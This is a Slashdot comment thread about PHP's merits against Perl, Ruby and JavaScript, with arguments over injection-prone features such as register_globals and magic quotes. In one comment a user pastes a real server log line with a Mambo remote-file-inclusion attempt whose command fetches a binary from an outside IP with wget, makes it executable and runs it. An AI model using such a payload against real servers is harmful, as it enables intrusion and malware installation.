  8. How I make a website using PHP by greenguy · · Score: 1

    1. Install Drupal.

    OK, I'm good to go!

    --
    What if I do the same thing, and I do get different results?
    1. Re:How I make a website using PHP by KermodeBear · · Score: 1

      Believe it or not - well, I'm sure you do - I've interviewed people who said they could "Write PHP". An entire E-Commerce portal, no less. With integration with Froogle and all kinds of bells and whistles.

      Apparently, downloading and installing osCommerce counts as writing PHP to some people. The funny part is when you start asking questions about, "How was X implemented?" "Does it have feature Y?" "Why did you decide to do A instead of B?" and watching them -squirm-. Oh, those are the fun interviews. (o: You gotta either be really stupid or have huge balls to do something like that... So far, I'm still waiting to find one with the huge balls. Either way, it's a lot of fun!

      --
      Love sees no species.
    2. Re:How I make a website using PHP by the_womble · · Score: 1

      That is precisely why people do use PHP

      I do not like PHP much and if I was going to write a CMS from scratch I would not use it.

      But I do not need to write a CMS from scratch. I can use an existing one. I may have to write an extension/module/plugin if I have special requirements.

      It may not be as clever as writing your own CMS, but it is a lot less work. It suits me. I can put up with PHP in the circumstances (i.e. when the best CMS for my purposes is written in PHP).

    3. Re:How I make a website using PHP by the_womble · · Score: 1

      Yes, I do realise that this begs the question of why the developers who wrote the CMSs I use choose PHP. I have two responses to that.

      1) PHP is available with most shared hosting packages, it has lots of useful functions and has extensive libraries.
      2) Ask them.

    4. Re:How I make a website using PHP by Stickney · · Score: 2, Funny

      2. ?????
      3. Profit!

      --
      ...the right of the people to keep and bear arms, shall not be infringed.
  9. You do by Unski · · Score: 5, Insightful

    it's just the fashion at the moment. Bashing Java is a classic, but PHP, like 80's ra-ra skirts and lip gloss, goes in and out of fashion constantly. Just stick to praising R-o-R, that'll keep the karma nice n' safe.

    1. Re:You do by Anonymous Coward · · Score: 0

      but PHP, like 80's ra-ra skirts and lip gloss, goes in and out of fashion constantly.

      Most real web-developers hated Personal Home Page since the beginning. It had absolutely nothing that could not be done with Perl. It's libraries were and are thin, fragile wrappers over arbitrary C-libraries, unlike the superb CPAN.

      It sends shivers of disgust down the spine of every serious developer.

    2. Re:You do by Anonymous Coward · · Score: 0

      While developers such as myself, who aren't afraid (or too arrogant) to use PHP are busy raking in six figure incomes while you sit there and bitch about how much Perl (or the buzzword-infested RoR) is. Who's laughing now? Self-proclaimed "serious" developers are usually the ones bitching and moaning, filling up the so-called "Blogosphere" with useless rants but not actually producing anything except maybe a few megabytes of plaintext per month. The most successful developers in the world are the ones who actually, you know, develop.

    3. Re:You do by Fnkmaster · · Score: 5, Insightful

      It sends shivers of disgust down the spine of every serious developer.

      Unlike Perl?!?! Perl is just a foul, disgusting-looking beast. While the PHP libraries may be a touch on the fragile and "arbitrary" side, compared to the libraries in Java, for example, the language itself is like Miss America to Perl's Roseanne Barr.

      The "serious developers" who used to write web apps in Perl and TCL, when those were the two most popular choices for such things back in the day, generally produced write-only web monstrosities that could never be picked up or figured out by anybody else, "serious developer" or not.

      PHP is relatively fast, simple, syntactically straightforward, and easy to work with. This makes it a good choice for a variety of web applications, though obviously not always the best choice. For some of us, getting the job done is more important than feeling like an elite hax0r.

    4. Re:You do by WilliamSChips · · Score: 2

      Actually, it's more like this: Python is to Amanda Tapping as Perl and PHP are to Roseanne Barr.

      --
      Please, for the good of Humanity, vote Obama.
    5. Re:You do by PhrostyMcByte · · Score: 0, Flamebait
      PHP is relatively fast, simple, syntactically straightforward, and easy to work with. This makes it a good choice for a variety of web applications, though obviously not always the best choice. For some of us, getting the job done is more important than feeling like an elite hax0r.

      If you only ever have one machine, good for you. If you don't need to have plans to maintain your code, doubly good for you!

      But porting PHP apps across developers or machines with even slightly different versions or configurations is a PITA that developers *should not have to deal with*. The spaghetti code that PHP seems to encourage in a lot of people just isn't worth the pain, and almost any developer who's done serious non-web programming will tell you that. It's not about being elite, it's about knowing how immature of a language PHP is. PHP is good for simple pages, but other sites should seriously move to something else until the framework matures a lot.

    6. Re:You do by Tablizer · · Score: 4, Insightful

      how immature of a language PHP is. PHP is good for simple pages, but other sites should seriously move to something else until the framework matures a lot.

      I would like to see concrete examples of other languages being "better". The skill of the programmer matters far more than the language in my experience, and PHP gives you enough options to make good code *if* you want to.

      The spaghetti code that PHP seems to encourage in a lot of people

      This is because PHP is "approachable". It does not differ enough from C and JavaScript to scare people away, unlike other languages. The "elitist" languages are not necessarily better, they just scare away amatures and newbies so that you don't have as many amatures and newbies writing messy code. Perhaps this is a good thing, perhaps it means that the elitist language is doomed to obscurity. If PHP can make both crowds fairly happy, it will have lasting power. I've never met a language that makes everybody happy, but if diverse sides each give PHP a B-minus, that is doing about as well as you can as far as diversity.

    7. Re:You do by Anonymous Coward · · Score: 0

      So what you're saying is that Python, Perl and PHP are a bunch of ugly old bitches?

    8. Re:You do by Senjaz · · Score: 1

      It's not elitist. Object orientated programming was a solution to help combat the problems with increasing complexity in applications. The web is growing up, and page processors like PHP will fall out of use. WebObjects showed the way forward arbeit at a cost of $50,000 when it was 1st released, and now we have free alternatives like Jakarta/Struts and Ruby on Rails.

      PHP does have a concept of objects but they are constrained in the same way Javascript is, to a single page. Thanks to XmlHttpRequest we have an elegant way of doing RPC within a page without reloads which finally unshackles Javascript. It's a great OO language, highly dynamic. It falls short in that function calls are not objects and calls to methods not implemented on a receiver can't be with doesNotUnderstand: as is possible in smalltalk. It's possible to do some serious development in Javascript.

      Sure page processors might still be used for small or simple web apps, but for serious apps I'm happy that the patterns for web development are finally moving closer to the 1980s.

      --
      Don't blame me - this .sig had steal me written all over it.
    9. Re:You do by Mattintosh · · Score: 2, Informative

      Object orientated programming

      Maybe I'm just elitist, but why would you make all of your objects face eastward? Oh, you meant object oriented programming.

      The web is growing up, and page processors like PHP will fall out of use. WebObjects showed the way forward arbeit at a cost of $50,000 when it was 1st released, and now we have free alternatives like Jakarta/Struts and Ruby on Rails.

      The web hasn't changed. It's still a stateless, every-page-for-itself environment. PHP isn't a "page processor", it's a pre-response request processor. A client sends an HTTP request (yes, the very same as the XmlHttpRequest JavaScript "object") to Apache (Apache HTTPD, to be specific). Apache uses PHP (as mod_php) to preprocess the request. Then Apache sends the response generated by PHP. That's why PHP (now) means "PHP Hypertext Preprocessor".

      "Jakarta/Struts" is a framework (actually probably several frameworks) built in Java and uses the Tomcat engine to serve up servlets. Guess what... A client sends an HTTP request (all the URL's start with "http:" regardless of the port, so it's still HTTP) to Tomcat. Tomcat uses Java (and it's libraries and frameworks - like Struts) to preprocess the request. Then Tomcat sends the response generated by Java. I feel like I'm repeating myself here.

      [JavaScript is] a great OO language, highly dynamic.

      You have got to be kidding me. JavaScript is a prototyped language. You don't define objects so much as you lay out a template for one and implement a library that pretends to operate on this so-called "object". It's about as OO as old-school C. In C, you could define a struct and segregate off a header and implementation for it and call it an "object", but there was no enforcement other than internal constraints you imposed upon your own code. JavaScript is just about as strict.

      It's possible to do some serious development in Javascript.

      I've been wondering what was wrong with web design lately. I've also been wondering why everyone on /. bitches incessantly about the evils of "web apps". Now I know. I can tell you one thing for sure, though. It's possible to do some serious development in JavaScript... just turn it off. That's the best development JavaScript has seen in years.

      I'm happy that the patterns for web development are finally moving closer to the 1980s.

      Keep using JavaScript and you'll keep moving toward the 1980's. Meanwhile, the rest of the world will continue going forward.

    10. Re:You do by Senjaz · · Score: 2, Insightful

      Maybe I'm just elitist, but why would you make all of your objects face eastward? Oh, you meant object oriented programming.

      No, I meant orientated, which is totally valid and its use prevailent in England. Which incidentally is where I live.

      The web hasn't changed. It's still a stateless, every-page-for-itself environment. PHP isn't a "page processor", it's a pre-response request processor.

      The web is still stateless but if you don't have to reload your page each time you want to perform an action and redisplay new data then you can develop your entire web app UI in a single page. Then not holding state across page loads doesn't matter any more.

      PHP is known as a page processor, scripts operate on a page by page basis, or as you say a request basis since these things don't have to be pages these days. Just because that's the state of things now, doesn't stop PHP being a page processor. It's only one step up from old style Perl (pre modperl) in that it doesn't need to launch a new process for each request. However PHP is still based around one script being run to handle each resource request. Worse my presentation layer is mingled in with my control and model implementation.

      With Tomcat/Struts I can create an application that is running regardless of whether a request is made or not, it has state. I can build an app separated out in the MVC pattern. I don't care that it's still using the same HTTP transport mechanism, I have an app and it has state.

      You have got to be kidding me. JavaScript is a prototyped language. You don't define objects so much as you lay out a template for one and implement a library that pretends to operate on this so-called "object". It's about as OO as old-school C. In C, you could define a struct and segregate off a header and implementation for it and call it an "object", but there was no enforcement other than internal constraints you imposed upon your own code. JavaScript is just about as strict.

      Javascript is a prototyped language, but just because it doesn't implement OO concepts in the way you expect them doesn't mean it's not OO. Prototyping just means there is no such thing as classes, just other objects which can be used as templates for creating other object instances. It is just as expressive, but different to C++, Java, C#. It's well suited for shallow "class" hierarchies which use other objects rather than deep sub-classing. See Apple's Foundation and AppKit frameworks along with Objective-C as an example of just how powerful this methodology can be.

      In Javascript almost everything is an object, the few native non-object types that are in the language are transformed into objects when you try to use them as such (evaluating: "moo".indexOf("o"); will result in 1).

      One of the benefits of Javascript is that it is not strict. It's incredibly dynamic. It supports inheritance (through prototype chain) and reflection. Looks very object oriented to me.

      Keep using JavaScript and you'll keep moving toward the 1980's. Meanwhile, the rest of the world will continue going forward.

      I guess you think that Google maps and the like are not moving forward then?

      I forgot, this is slashdot. It's got a vocal set of anal retentives/people who don't have a clue which make it difficult to separate signal from noise.

      --
      Don't blame me - this .sig had steal me written all over it.
    11. Re:You do by Bastard+of+Subhumani · · Score: 1
      While developers such as myself, who aren't afraid (or too arrogant) to use PHP are busy raking in six figure incomes
      Hey, I could move to Turkeytoo, if I wanted to.
      --
      Only three things are certain; death, taxes, and apocryphal quotations - Ben Franklin.
    12. Re:You do by Tony-A · · Score: 1

      I would like to see concrete examples of other languages being "better".
      Hehe. You won't (see any such).
      Anything beyond comparing a 10-key adding machine and an abacus adds far too much complexity for the examples to be meaningful.

      The skill of the programmer matters far more than the language in my experience, and PHP gives you enough options to make good code *if* you want to.
      In fact a skilled programmer can write in many different languages that all are recognized as whatever the high-level language purports to be.

      The "elitist" languages are not necessarily better, they just scare away amatures and newbies so that you don't have as many amatures and newbies writing messy code. Perhaps this is a good thing, perhaps it means that the elitist language is doomed to obscurity.

      (You realize of course that you have just shown that "security by obscurity" does in fact work;)
      The first requirement for security by obscurity to work is obscurity. This is the opposite of ubiquity.

      There is a book called "Unix Hater's Handbook". Written by what should be leading lights of Unix's betters, what is remarkable is that it's actually rather lame in condemning Unix. Trying to get a language right is not going to fare any better, should actually fare significantly worse. Until you can play add-em-up with the convenience of a 10-key, handle esoteric bindings with the flair of LISP, have the explicatory capabilities of COBOL, handle the SEMANTICS of strings and string-spaces (HTML and SQL strings are NOT created equal), and exactly what is string length supposed to be anyway?
      Most languages are half-way tolerable for some aspects and totally unusable on many others. You pick one where the problems do not bother you.

    13. Re:You do by Tablizer · · Score: 1

      It's not elitist. Object orientated programming was a solution to help combat the problems with increasing complexity in applications.

      The way you deal with complexity is to break the problem up into smaller, relatively independent "tasks" or events and use the database to tie them together (with shared libraries also). The One-Big-Exe approach of OOP is not the solution in my opinion. But, this is not the proper place to debate the merits of OOP. Take it to comp.object on usenet or c2.com.

      Sure page processors might still be used for small or simple web apps, but for serious apps I'm happy that the patterns for web development are finally moving closer to the 1980s.

      You mean event-driven like VB6 or Delphi? Event-driven is not specifically OOP.

    14. Re:You do by Senjaz · · Score: 1

      You mean event-driven like VB6 or Delphi? Event-driven is not specifically OOP.

      No, I was hinting at Smalltalk. An object orientated development environment first released in 1980. It has features that have only just been replicated with the likes of Ruby. Objective-C, Java borrowed heavily from it, but still in their way managed to miss things, sometimes by design.

      It runs on a virtual machine. Everything is an object, even message passing. It's incredibly easy to learn, but it does look alien to people who have a skill base of C and languages with similar syntax. What it has is simplicity and elegance that was unmatched for decades. I believe that some of our modern languages especially Ruby come close and exceed in other areas.

      Smalltalk was not the only OO environment around at the time, Simula came before it. But that was before I was even born so my knowledge of it is ~0.

      The actual amount of new ideas/innovation in our recent software technologies are very small. A lot of research got done in the 70s and 80s, and we haven't made decent use of it. A lot of 'new' stuff is actually just mining that research work and doing something with it.

      --
      Don't blame me - this .sig had steal me written all over it.
  10. From the title... by Anonymous+Crowhead · · Score: 2, Interesting

    I thought maybe it would explain the constant hack attempts on non-existent php apps on my webservers.

    [admin@bsever logs]$ tail -100000 access_log |grep php -i |wc -l
          2128

    2% of last 100K hits. I run no php on it + this is a test server that is not linked to anywhere public.

    For example:

    65.110.43.170 - - [04/Jul/2006:00:37:03 -0700] "GET /articles/mambo/index2.php?_REQUEST[option]=com_co ntent&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolu te_path=http://72.18.195.161/cmd.gif?&cmd=cd%20/tm p;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon ;./lnikon;echo%20YYY;echo| HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

    1. Re:From the title... by Nos. · · Score: 3, Insightful

      Yup, but this comes down to what all dicussions do when a PHP topic is posted to slashdot. Is it the fault of the language when a lot of open source applications are written poorly? There have been very few vulnerabilites in PHP, but lots in apps like Mambo, *Nuke, phpBB, etc.

      I like PHP, I can develop stuff very quickly in it, and I know how to secure code against CSS, SQL-Injection, etc. There are shortcomings with it, like basically every other language, but I don't think the fact that all these application with vulnerabilities should be a direct reflection on the language itself.

    2. Re:From the title... by Photon+Ghoul · · Score: 1

      That's a *Mambo* hack attempt, not a *PHP* hack attempt.

    3. Re:From the title... by richdun · · Score: 1

      Well said. Too many PHP apps are developed from the perspective that "Well I wrote the data to look like $X, so it will always come in as $X" - and as someone without any formal CS/programming training beyond an introductory C++ course, I really wish those PHP "experts" would protect against such easy vulnerabilities. Just because your machine makes square pegs, and the hole is square, doesn't mean I'm not going to try to shove a slightly smaller triangular peg in it.

    4. Re:From the title... by telbij · · Score: 1

      There are shortcomings with it, like basically every other language, but I don't think the fact that all these application with vulnerabilities should be a direct reflection on the language itself.

      Well yes and no. I mean, PHP does have some braindead configuraion options that result in insecure code. Writing code that's secure with register_globals on is more work than just turning it off. Likewise handling both cases of magic_quotes_gpc is just a pointless hoop to have to jump through.

      I don't really blame the language for being easy to use, and thus easy for talentless hacks to use... but definitely the open source code would be better if the language was better. Every time I write anything in PHP I get irritated by barebones the syntax really is. I mean, if I want verbose everything-is-an-api language I'll use Java and get real objects. If I want to be able to express things concisely I'll use Ruby. The only place PHP is really optimized is for adding little snippets of dynamic code into web pages. It's a huge niche, but one thats inevitably gonna be filled with bad open source code.

    5. Re:From the title... by daeg · · Score: 1

      You can shove your square peg into my triangular opening any time.

    6. Re:From the title... by dedazo · · Score: 2, Insightful
      Is it the fault of the language when a lot of open source applications are written poorly?
      Why not? That's the reason why Visual Basic was considered "worthless", as if it were inherently impossible to create something useful (well documented, maintainable, stable, etc) with it.

      Not that I agree with either view, but it seems to me PHP is no better than Visual Basic in this regard.

      --
      Web2.0: I love when people Flickr my cuil and digg my boingboing until my google is reddit and I start to yahoo
    7. Re:From the title... by FooAtWFU · · Score: 3, Insightful
      Is it the fault of the language when a lot of open source applications are written poorly?

      Yes. The language doesn't actually compel you to write insecure code, but it would be hard to imagine one which came closer. It's practically begging for injection everywhere. You need to manually escape everything. Database work? Sorry, no prepared statements. Going to send mail()? Leave a few newlines in the wrong variable and you can turn your form into a lean, mean spamming machine! Going to try and call system() with any sort of parameters? Quick check: do you want escapeshellcmd, or escapeshellarg? (and of course, you HAVE to use the shell.) There's more, much more, and if that's not enough, two words should make your skin crawl: "register globals".

      use strict; use warnings; taint mode? In your dreams maybe...
      Model-view-controller design? ... I think they used a shotgun on it.

      GAAH.

      --
      The World Wide Web is dying. Soon, we shall have only the Internet.
    8. Re:From the title... by Anonymous Coward · · Score: 1, Interesting

      >Likewise handling both cases of magic_quotes_gpc is just a pointless hoop to have to jump through.

      --

      if(get_magic_quotes_gpc())
      {
              $_POST = array_map('stripslashes', $_POST);
              $_GET = array_map('stripslashes', $_GET);
              $_COOKIE = array_map('stripslashes', $_COOKIE);
      }

      It's not really pointless, and it's very easy to deal with. Just stick that code in a file and require the file in all others at the top. Now all data coming in, is as the user sent. So validating your data is now up to you. However you could easily flip it around.

      if(!get_magic_quotes_gpc())
      {
              $_POST = array_map('addslashes', $_POST);
              $_GET = array_map('addslashes', $_GET);
              $_COOKIE = array_map('addslashes', $_COOKIE);
      }

      But I don't like automagic crappy validating so I always use the first example.

    9. Re:From the title... by Anonymous+Crowhead · · Score: 1

      Yeah? Well *Mambo* is a *PHP hack*.

    10. Re:From the title... by drspliff · · Score: 1
      Is it the fault of the language when a lot of open source applications are written poorly?

      To an extent yes, but it's one of those things that anybody with a clue will get past very quickly and get to a stage where these things are avoided. But you're forgetting that compared to Perl and the absolute crapload of different libraries available in the CPAN repository, you're essentially programming on a skeleton framework, much like Perl quite a few years ago.

      I'm not trying to defend PHP - there are some weird things that people won't fix because there's too much code which already uses those bugs (although take a look at what their doing with PHP 6), but if something's tedious or error prone you do _your job_ as a programmer and make a better solution.

      Prepared statements (either emulated or DB native) are trivial to implement a wrapper for (PDO, Creole etc.) and there are literally hundereds of others out there, mail().. a nice OO wrapper makes it more understandable to use and avoids those problems.

      strict & warnings, not in the same way as it's implemented in Perl, but at the end of the day if the programmers is turning errors off then it's they that are at fault, not the language. As for tainted variables, I implemented tainted strings & arrays - take a look at a quick patch with the rest of it really ending up adding the taint flag to variables as their coming into the engine.

      Where's my clue-bat.. somebody needs a beating!

    11. Re:From the title... by lbft · · Score: 5, Insightful
      Database work? Sorry, no prepared statements.

      PHP has had prepared statement support for MySQL since 2003, it's been emulated in PEAR for an eternity and the very useful PDO extension provides an abstracted interface supporting prepared statements to SQL Server, Sybase, Firebird, Informix, MySQL, Oracle, PostgreSQL, SQLite, DB2 and ODBC.

      (and of course, you HAVE to use the shell.)

      Forgive me, but you don't know what you're talking about. There is almost never a need to call external apps from a PHP script. The most common needed external app is ImageMagick (because sometimes GD doesn't provide all the functionality you need.) Even then, there are at least two PHP extensions to deal with ImageMagick directly, as well as a PEAR package to abstract away from the image processing library/app.

      Quick check: do you want escapeshellcmd, or escapeshellarg?

      Well, I dunno, do you want to escape an entire command so that multiple commands can't be injected or do you want to escape a single argument so that multiple arguments can't be injected? Heaven forbid that you should have to spend ten seconds checking the manual pages...

      Going to send mail()?

      So use one of the multitude of classes specifically written to encapsulate mail sending (including, shock horror, one in PEAR.)

      two words should make your skin crawl: "register globals"

      register_globals has been disabled by default for six (6) years.

      It's not the fault of the language that you didn't bother to keep up with how to use it as it evolved.

    12. Re:From the title... by richdun · · Score: 1

      You know, after posting, I knew SOMEONE was going to say that...lol

    13. Re:From the title... by telbij · · Score: 1

      It's not really pointless, and it's very easy to deal with.

      How is it not pointless? Jumping through a hoop may be easy, but it's annoying. Why should we need to explicitly deal with a configuration option that at best makes life slightly more convenient for a very specific subset of apps (ie. where everything from the user goes straight to a database and is never displayed on the same page load) while encouraging ignorance about things like sql injection attacks because, hey, "magic quotes takes care of it". Anyway, you are totally missing the point: I'm just citing this as an example of the lunacy that is the PHP language design process. I mean yeah, PHP can do almost anything, and yeah, it is possible to write good clean PHP, but the language is horribly uninspired. The only people who really love it just don't know any other languages.

      By the way, have you tried passing an array into your little gem?

    14. Re:From the title... by Photon+Ghoul · · Score: 1

      That it is....

    15. Re:From the title... by Anonymous Coward · · Score: 0

      six (6)

      lol

    16. Re:From the title... by FooAtWFU · · Score: 1

      Forgive me. With regards to my assertion "you HAVE to use the shell" I had been referring to the convenient ability of many-languages-which-are-not-PHP to call a command outside PHP without invoking, say, bash (a shell). Which avoids the pesky shell-metacharacter processing, instead of merely trying to escape things. (But that's not the PHP way. The PHP way to carry water is to give you a collander, instead of a bucket, and require that you plug the holes yourself.)

      It's not the fault of the language that you didn't bother to keep up with how to use it as it evolved.

      No, it's certainly not my fault that I didn't bother to keep up with it; I'm not the one writing PHP code that's full of holes. But if the language shouts to the novice "Look, an obvious, easy way to do something!" while standing quietly to the side a PEAR extension is mumbling "here's the way to do something that doesn't suck so much"... what do you expect is going to happen?

      Maybe if the language had been intelligently designed instead of "evolved"... (*cough cough*)

      --
      The World Wide Web is dying. Soon, we shall have only the Internet.
    17. Re:From the title... by rp · · Score: 1

      This is a very nice summary of what's wrong with PHP: it's too easy to bypass security awareness.
      (Of course, insecure web apps can easily be written in any language, but PHP does lower the threshold to the extent where we have to assume that apps can't be trusted even when they are very popular. It's not as bad as C with its memory leaks, but close.)

  11. I'll try by Anonymous Coward · · Score: 1, Informative

    I believe the article author is talking about licensing of code samples. That's always a problem with some books, there's no license for the sample code, so you have to if it can be used in any project or none at all. Having a clear explanation for using the sample code is sometimes nice when you're dropping some code from an example into your code to fix a problem you've been having.

  12. Advanced PHP programmer? by bsartist · · Score: 3, Funny

    "Advanced PHP programmer"? Now there's a contradition for you.

    --
    Lost: Sig, white with black letters. No collar. Reward if found!
    1. Re:Advanced PHP programmer? by geniusj · · Score: 1

      I was actually pretty surprised to see this book. Assuming that this is the same Jack Herrington that I once knew (and I'm pretty sure it is), he's pretty big into Ruby. Or at least he was. Didn't know he had a background in PHP.

    2. Re:Advanced PHP programmer? by zerocool^ · · Score: 1


      Exactly. When I saw "PHP Hacks", I thought the people behind PHP-Nuke had written a book.

      --
      sig?
    3. Re:Advanced PHP programmer? by DieByWire · · Score: 1
      ...Now there's a contradition for you.


      Now there's a slashdot 'speler' for you... ;-)

      --
      Never shake hands with a man you meet in a fertility clinic.
    4. Re:Advanced PHP programmer? by LordLucless · · Score: 4, Funny

      A contradiction, sort of like a person who has a grammar nazi post in their sig, but can't spell contradiction?

      --
      Just because you're paranoid doesn't mean there isn't an invisible demon about to eat your face
    5. Re:Advanced PHP programmer? by truedfx · · Score: 1
      "Advanced PHP programmer"? Now there's a contradition for you.
      Not at all. It simply means PHP is not that programmer's only language. :)
    6. Re:Advanced PHP programmer? by WilliamSChips · · Score: 1

      No, that's just ironic, and also one of those laws whose name I can't remember. What's also ironic is that Alanis's song doesn't contain a single actual instance of irony.

      --
      Please, for the good of Humanity, vote Obama.
    7. Re:Advanced PHP programmer? by Cl1mh4224rd · · Score: 2, Insightful
      What's also ironic is that Alanis's song doesn't contain a single actual instance of irony.
      That's the irony...
      --
      People will pass up steak once a week, for crap every day.
    8. Re:Advanced PHP programmer? by bsartist · · Score: 1
      A contradiction, sort of like a person who has a grammar nazi post in their sig, but can't spell contradiction?
      LOL! Yes, just like that. :-)
      --
      Lost: Sig, white with black letters. No collar. Reward if found!
    9. Re:Advanced PHP programmer? by Anonymous Coward · · Score: 0

      lol you dont know shit

  13. I think that a lot of the people who like PHP.... by Fallingcow · · Score: 1

    ... are ex-PERL CGI coders.

    Which would explain a lot.

    (I fall in to this category)

  14. I'm not a php/perl guru, but by ardor · · Score: 4, Interesting

    anyone can tell me if this is to be taken seriously, or rather seen as worthless php-bashing?
    http://tnx.nl/php

    --
    This sig does not contain any SCO code.
    1. Re:I'm not a php/perl guru, but by chromatic · · Score: 2, Informative

      Draw whatever conclusions you like, but the linked page is accurate.

    2. Re:I'm not a php/perl guru, but by Photon+Ghoul · · Score: 1

      Those are all valid concerns, although with some heavy Perl bias. Of course, the PHP problems pointed out are generally being worked on - but you have to move slowly because of the installed base (who also generally don't upgrade very often).

      That said, I am definitely in the market for a new language to build sites with. Perl ain't it as I've been there and done that. Great language but I would rather maintain/fix crappy PHP sites than crappy Perl sites.

    3. Re:I'm not a php/perl guru, but by Photon+Ghoul · · Score: 2, Interesting

      "I am definitely in the market for a new language to build sites with."

      To clarify: I'm a professional PHP developer but finding the language doesn't grow with me as a grow as a developer. Looking into RoR but the hype scares me (memories of Java).

    4. Re:I'm not a php/perl guru, but by FooAtWFU · · Score: 2, Informative
      It's all true. Now, I know Perl has its own set of issues, and as far as speed is concerned you can't expect plain vanilla CGI to favorably compare to decently cached PHP in a DSO module for Apache (though you CAN run spiffy-fast with things like mod_perl or FastCGI, especially if you're willing to leave Apache for lighttpd like the Ruby on Rails people like). And of course you can write some really incoherent stupid code in Perl, certainly -- especially when you're not smart enough to realize there's something nice in CPAN or your standard Perl distribution that already does what you're asking. But you can also write simple, clean, beautiful, elegant code to do amazing things (and I will always love my hash of anonymous coderefs :)

      PHP is the Windows of web programming. It's simple (on the surface), extremely prevalent, trivial to get started with... and then it's inflexible, promotes droolingly bad design decisions, and has a security layer full of holes.

      --
      The World Wide Web is dying. Soon, we shall have only the Internet.
    5. Re:I'm not a php/perl guru, but by Senzei · · Score: 1
      That said, I am definitely in the market for a new language to build sites with. Perl ain't it as I've been there and done that. Great language but I would rather maintain/fix crappy PHP sites than crappy Perl sites.
      If you are looking for something that still retains most of the useful parts of perl then RoR, or one of the other Ruby web dev frameworks (yes, they do exist) might be the way to go.

      Personally I am happy with Python, especially considering the community is really starting to get behind WSGI, which will end up turning the "Python has 1001 web frameworks" issue into a good thing by making it possible for individual components from each framework to interoperate. Out of the ones I have tried I like TurboGears the most, but have yet to come across anything that resembles the shoot-your-foot-while-putting-it-in-your-mouth situation that I have come across in php.

      --
      Slashdot: Where anecdotes and generalizations can be freely substituted for facts, logic, or intelligence
    6. Re:I'm not a php/perl guru, but by Anonymous Coward · · Score: 0
      promotes droolingly bad design decisions, and has a security layer full of holes.

      RUBBISH! People who know what they're doing with web development will write solid code in any language they care to learn. All of the critisms in the main linked document are frustratingly accurate but other critisisms such as yours are unwarranted. I've never used register_globals in PHP, there's never been XSS or session hijacking vulns in my apps, never used add_slashes... Given that the biggest competitor to PHP is ASP.NET, I'm glad it's so popular!

    7. Re:I'm not a php/perl guru, but by FooAtWFU · · Score: 2, Informative

      Well, of course you can write solid code in PHP. You just need to plug all the security holes yourself, explicitly. I, for one, would like to have prepared statements deal with escaping parameters, not have to worry about the fourth parameter of mail() turning my form into a spam machine... and if you've never used add_slashes - are you relying on magic quotes? Is that script of yours supposed to be portable? Sorry.

      --
      The World Wide Web is dying. Soon, we shall have only the Internet.
    8. Re:I'm not a php/perl guru, but by Anonymous Coward · · Score: 0

      try http://cakephp.org/ to take a breath with php

    9. Re:I'm not a php/perl guru, but by Anonymous Coward · · Score: 0

      I meant magic quotes, even tho I do tend towards dba/sqlite over bloat. Besides which you should be validating and escaping all user supplied data. That's rule 1 of web programming no matter what language you're using. I've used the same basic quote lib for Postgres/MySQL for around 5 years now however all my forms are keyed so automated injection attemps never even invoke the db layer.

    10. Re:I'm not a php/perl guru, but by KermodeBear · · Score: 1
      Yeah, there is some stupid bashing in there.

      For example, talking about different functions for case sensitive and case insensitive operations:
      Perl: index(foo, $ar) index(lc foo, lc bar)
      PHP: strpos(foo, bar) stripos(foo, bar)


      Yup, PHP has a stripos() for case insensitive matching. This is a bad thing? Seems to me that the Perl guy has to lowercase everything to get the same result (which, personally, is what I do in PHP, but that's besides the point). This is bad? I don't think so.

      I also see complaints about "no prepared statements" and whatnot. I think people miss the point. PHP provides a lot of core functionality that, quite often, is little more than wrappers around standard C libraries. It's up to YOU to write (or find) the extra functionality if you need/want it. That's why PEAR and PECL exist - to extend the core functionality. It's really no different than CPAN.

      There are a few valid points. Sure, the function naming conventions are inconsistent (sometimes with underscores between words, sometimes not), argument lists could be more standardized, etc. But, it's a useful language and it allows rapid development of web apps. It's good at what it was designed to do (and it isn't bad on the command line either, believe it or not). Every language has quirks - Perl included.

      I don't see why the Perl guys have their panties all up in a bunch. If you don't like it... Don't use it. Move on. Simple as that. The 5 year old name calling get old real fast. If you want to make a real statement then close your mouth and write better code.
      --
      Love sees no species.
    11. Re:I'm not a php/perl guru, but by bad-badtz-maru · · Score: 1


      I have used both perl and PHP extensively for web development. The reality is that perl may seem like an academically better language but it scales like ass in the web environment. Modperl sucks huge amounts of memory (an httpd process will remain the size of its largest allocation) and FastCGI is almost as bad. I absolutely hated PHP when I started using it, but its performance is undisputable and with the release of version 5, the OO support just makes the language feel far more "correct" than Perl.

    12. Re:I'm not a php/perl guru, but by palantir0 · · Score: 1

      I found php to be perfect for a data driven app. I don't do any front end work with it which might bring out some problems if this was needed. It's simple and reasonably fast. I've used many languages so I just pick up what seems to fit the job the best. PHP is going in the right direction for the roadmap. Trying to make a language fit for all purposes is stupid, basically wrecks the language. PHP has its ugliness but all languages have that, its the damn programmers fault. :) Cheers

  15. BS Re:I think Slashdot is trying to cheat us here by VP · · Score: 3, Interesting

    Slashdot provides a place for reviews of technical books. They get to specify the URL and get referrer credit for it. The reson it is BN is because of the Amazon "One-click" patent, for which they sued BN - so using Barnes and Nobble both supports Slashdot, and provides a small way to fight obvious SW patents...

    On the other hand, looks like the parent put their own referrer link to Amazon - now that's what I call cheating!

  16. perhaps, but, um..... by rucs_hack · · Score: 1

    One of the highest paid coders I know uses php.......

    Personally I wouldn't touch it, not my kind of coding, but you have to admit it's good stuff.

    Also, lets not forget that there's a lot of very complex code underlying php, and the guys who wrote that simply *are* very good at what they do. Advanced is a word I'd be comfortable with.

    You don't find that kind of talent everywhere, but where you do we all benifit by getting to do things in a simpler way.

    1. Re:perhaps, but, um..... by bsartist · · Score: 1
      One of the highest paid coders I know uses php.
      Judging by that benchmark, Bill Gates would be classified as the world's best programmer.

      Also, lets not forget that there's a lot of very complex code underlying php
      Complexity is not always a benchmark of programming skill either. Sometimes it's a sign that the programmers didn't have the skills to come up with a simpler, more elegant design. Having said that, I've never looked "under the hood" of PHP, and I don't know the programmers. I'm not sayng they're hacks, I'm just saying that PHP's internal complexity doesn't really prove anything either way.
      --
      Lost: Sig, white with black letters. No collar. Reward if found!
  17. RoR for PHP Projects by Space_Nerd · · Score: 2, Interesting

    Has anyone tried the CakePHP package? It's supposed to be similar to RoR, but i'm unable to deploy a Ruby based solution at work due to stupid policys (like: everybody knows php, nobody knows ruby... pfff). If not, are there any rails-like project for PHP anyone care to recommend?

    Thanks!

    --
    Everybody has a purpose in life, maybe mine is to lurk in slashdot.
